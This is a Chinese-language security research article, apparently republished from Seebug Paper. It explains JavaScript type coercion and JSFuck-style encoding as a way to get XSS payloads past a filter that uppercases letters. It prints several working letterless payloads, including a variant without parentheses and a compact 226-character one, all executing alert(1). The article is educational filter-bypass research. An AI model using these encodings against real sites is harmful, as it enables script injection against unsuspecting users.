作者: 天融信阿尔法实验室
原文链接:https://mp.weixin.qq.com/s/mjqks20xZSV9NwgeB9Q1fw
一、前言
在一次XSS
测试中,往可控的参数中输入XSS Payload
,发现目标服务把所有字母都转成了大写,假如我输入alert(1)
,会被转成ALERT(1)
,除此之外并没有其他限制,这时我了解到JavaScript
中可以执行无字母的语句,从而可以绕过这种限制来执行XSS Payload
。
二、JS基础
先执行两段JS代码看下
([][[]]+[])[+!+[]]+([]+{})[+!+[]+!+[]] ([][[]]+[])[+!!~+!{}]+({}+{})[+!!{}+!!{}]
两段js代码都输出了字符串"nb",下面来分析下原因.
JS运算符的优先级
下面的表将所有运算符按照优先级的不同从高(20)到低(1)排列。
优先级 | 运算类型 | 关联性 | 运算符 |
---|---|---|---|
20 | 圆括号 | n/a | ( … ) |
19 | 成员访问 | 从左到右 | … . … |
19 | 需计算的成员访问 | 从左到右 | … [ … ] |
19 | new (带参数列表) | n/a | new … ( … ) |
19 | 函数调用 | 从左到右 | … ( … ) |
19 | 可选链(Optional chaining) | 从左到右 | ?. |
18 | new (无参数列表) | 从右到左 | new … |
17 | 后置递增(运算符在后) | n/a | … ++ |
17 | 后置递减(运算符在后) | n/a | … -- |
16 | 逻辑非 | 从右到左 | ! … |
16 | 按位非 | 从右到左 | ~ … |
16 | 一元加法 | 从右到左 | + … |
16 | 一元减法 | 从右到左 | - … |
16 | 前置递增 | 从右到左 | ++ … |
16 | 前置递减 | 从右到左 | -- … |
16 | typeof | 从右到左 | typeof … |
16 | void | 从右到左 | void … |
16 | delete | 从右到左 | delete … |
16 | await | 从右到左 | await … |
15 | 幂 | 从右到左 | … ** … |
14 | 乘法 | 从左到右 | … * … |
14 | 除法 | 从左到右 | … / … |
14 | 取模 | 从左到右 | … % … |
13 | 加法 | 从左到右 | … + … |
13 | 减法 | 从左到右 | … - … |
12 | 按位左移 | 从左到右 | … << … |
12 | 按位右移 | 从左到右 | … >> … |
12 | 无符号右移 | 从左到右 | … >>> … |
11 | 小于 | 从左到右 | … < … |
11 | 小于等于 | 从左到右 | … <= … |
11 | 大于 | 从左到右 | … > … |
11 | 大于等于 | 从左到右 | … >= … |
11 | in | 从左到右 | … in … |
11 | instanceof | 从左到右 | … instanceof … |
10 | 等号 | 从左到右 | … == … |
10 | 非等号 | 从左到右 | … != … |
10 | 全等号 | 从左到右 | … === … |
10 | 非全等号 | 从左到右 | … !== … |
9 | 按位与 | 从左到右 | … & … |
8 | 按位异或 | 从左到右 | … ^ … |
7 | 按位或 | 从左到右 | …|... |
6 | 逻辑与 | 从左到右 | … && … |
5 | 逻辑或 | 从左到右 | …||... |
4 | 条件运算符 | 从右到左 | … ? … : … |
3 | 赋值 | 从右到左 | … = … |
2 | yield* | 从右到左 | yield* … |
1 | 展开运算符 | n/a | ... … |
0 | 逗号 | 从左到右 | … , … |
以这个优先级对JS代码([][[]]+[])[+!+[]]+([]+{})[+!+[]+!+[]] 来进行分解 |
先来看第一个分解的JS([][[]]+[])
, 在()内[]的优先级高,会先处理,控制台执行看一下
JS类型转换
从分解的第一段js可以看到输出了字符串"undefined",这里就涉及到类型转换。在JS中当操作符两边的操作数类型不一致或者不是原始类型,就需要类型转换。JS有5种原始类型,Undefined
、Null
、Boolean
、Number
和 String
。
-
乘号、除号/、减号-,肯定是做数学运算,就会转换成Number类型的。
-
加号+,有可能是字符串拼接,也可能是数学运算,所以可能转化成Number或String。
-
符号!,表示取反,会转换成Boolean类型。
-
符号~,把操作数转成Number类型,取负运算在减1。
-
一元运算加法、减法,都会转成Number类型。
在看下非原始类型转换规则
ToPrimitive(input, PreferredType?)
可选参数PreferredType是Number或者是String。返回值为任何原始值。如果PreferredType是Number,执行顺序如下:
-
如果input是原始值,直接返回这个值。
-
否则,如果input是对象,调用input.valueOf(),如果结果是原始值,返回结果。
-
否则,调用input.toString()。如果结果是原始值,返回结果。
-
否则,抛出TypeError。
如果转换的类型是String,2和3会交换执行,即先执行toString()方法。
ToNumber
运算符根据下表将其参数转换为数值类型的值
输入类型 | 结果 |
---|---|
undefined | NaN |
Null | +0 |
Boolean | 如果参数是 true,结果为 1。如果参数是 false,此结果为 +0 |
Number | 不转换 |
String | "" 转换成 0,"123"转换成"123",无法解析的转换成NaN |
Object | 调用ToPrimitive(input, Number) |
ToBoolean
运算符根据下表将其参数转换为布尔值类型的值
输入类型 | 结果 |
---|---|
undefined | false |
Null | false |
Boolean | 不转换 |
Number | 如果参数是 +0, -0, 或 NaN,结果为 false,否则结果为 true。 |
String | 如果参数参数是空字符串(其长度为零),结果为 false,否则结果为 true。 |
Object | true |
ToString
运算符根据下表将其参数转换为字符串类型的值
输入类型 | 结果 |
---|---|
undefined | "undefined" |
Null | "null" |
Boolean | 如果参数是 true,那么结果为 "true"。 如果参数是 false,那么结果为 "false"。 |
String | 不转换 |
Number | 数字转成字符串 例如 123转成"123" |
Object | 调用ToPrimitive(input, String) |
分解步骤
第一段JS([][[]]+[])
根据优先级会先执行[]
,[]
会定义一个空数组,[[]]
会定义一个二维数组,那么[][[]]
就是在一个空数组里面去寻找下标是一个非数字的值,肯定会返回undefined。到这可以分解成undefined+[],因为两把的操作数类型不一致,这里会调用ToPrimitive
来进行转换
undefined根据上面的规则可以得知会转换成字符串"undefined",这时就是执行"undefined"+""
,结果就是"undefined"
字符串。
第二段JS[+!+[]]
,会先执行里面的[]
会定义一个空数组, 因为一元运算的原因会从右到左,那么+[]
就会调用ToNumber
,因为[]
是Object
类型所以会调用ToPrimitive
,而[].toString()
会返回""
字符串,此时会执行+""
,此时""
会使用ToNumber
进行转换,结果会是0。后面接着会用!进行取反,因为0不是Boolean
类型,会调用ToBoolean
进行类型转换,会转成false
,对false
取反会得到true
,接着执行+true
,会用ToNumber
对true
进行类型转换,会得到1,那么最终结果就是[1]
第三段JS([]+{})
,[]
通过ToPrimitive
会得到""
字符串,{}
对象通过ToPrimitive
会得到"[object Object]"
字符串。
第四段JS[+!+[]+!+[]]
,根据优先级先执行[]
,+[]
得到0,!0
得到true
,+true
得到数字1,1+1则等于2,最终结果是[2]
最终把这4小段js代码结果拼接起来看下,"undefined"[1]+"[object Object]"[2]
。执行就会得到字符串"nb"
。
三、分析JSFuck
JSFuck使用六个不同的字符()[]+!
来编写和执行任意JS代码,在JS基础中讲述了如何通过几个字符来生成任意的字符串,JsFuck不仅只是生成字符串,还可以执行任意JS代码。
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])()
在控制台执行上面的JS,浏览器会弹出一个对话框内容是1。
经过一步步拆解,最后执行的JS代码是[]["fill"]["constructor"]("alert(1)")()
,那这段代码为啥会执行alert(1)
呢,通过控制台分解看下。
[]["fill"]
获取数组的fill
方法。在JS中每个函数实际上都是Function 对象,所以能[]["fill"]["constructor"]
这样去获取fill
的构造函数,换一个其它的函数也可以的比如pop
、map
等等。执行[]["fill"]["constructor"]("alert(1)")()
相当于执行了Function('alert(1)')()
,在Function()构造函数中,最后一个实参所表示的文本是函数体,它可以包含任意的JS语句,使用()调用时所以会执行alert(1)
,而不是字符串"alert(1)"
四、去掉括号
在前面的例子中都用到了()
符号,用来进行分割语法,这里在看一个不用()
的例子。
[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]`$${[!{}+[]][+[]][+!+[]]+[!{}+[]][+[]][+!+[]+!+[]]+[!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]+[!![]+[]][+[]][+!+[]]+[!![]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]}$```
最后分解成这样的
[]["constructor"]["constructor"]`$${['false'][0][1]+['false'][0][2]+['false'][0][4]+['true'][0][1]+['true'][0][0]+["function find() { [native code] }"][0][13]+1+["function find() { [native code] }"][0][14]}$```
可以看到Function
这里用符号
替换括号。alert(1)这里的括号获取方式是["function find() { [native code] }"][0][13]
,这里找了find函数然后转成字符串赋值在数组里面,获取这个字符串的过程是[[]['find']['constructor'].toString()]
,然后从数组里面取出来字符串,在截取下标位置是13、14,对应(和)符号。$符号是为了定义函数的参数,不加这个语法在解析的时候会报错。
有括号执行alert(1)
字符串长度是976,没有括号字符长度是1289。前面说过目标服务只是把小写字母转成了大写,大写字母和数字还是可以正常使用的,可以使用数字就不用一个个的加了,可以使用大写字母可以把重复出现的字母定义成变量,这样就不用每次去转换了。
把要出现的字符都集中在一个变量里面
X=[![]]+!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[];
然后直接取字符串的下标
[][X[0]+X[19]+X[2]+X[2]][X[12]+X[15]+X[11]+X[3]+X[5]+X[6]+X[7]+X[12]+X[5]+X[15]+X[6]](X[1]+X[2]+X[4]+X[6]+X[5]+'('+1+')')()
执行的时候直接合成一行,整个字符的长度是226
X=[![]]+!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[];[][X[0]+X[19]+X[2]+X[2]][X[12]+X[15]+X[11]+X[3]+X[5]+X[6]+X[7]+X[12]+X[5]+X[15]+X[6]](X[1]+X[2]+X[4]+X[6]+X[5]+'('+1+')')()
浏览器会成功执行alert(1)
五、总结
在做测试的时候,首先可以确定下对哪些字符进行了过滤,然后再找其它的方法去替换过滤的字符,比如用`符号替换括号,用.join替换+号等等。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1244/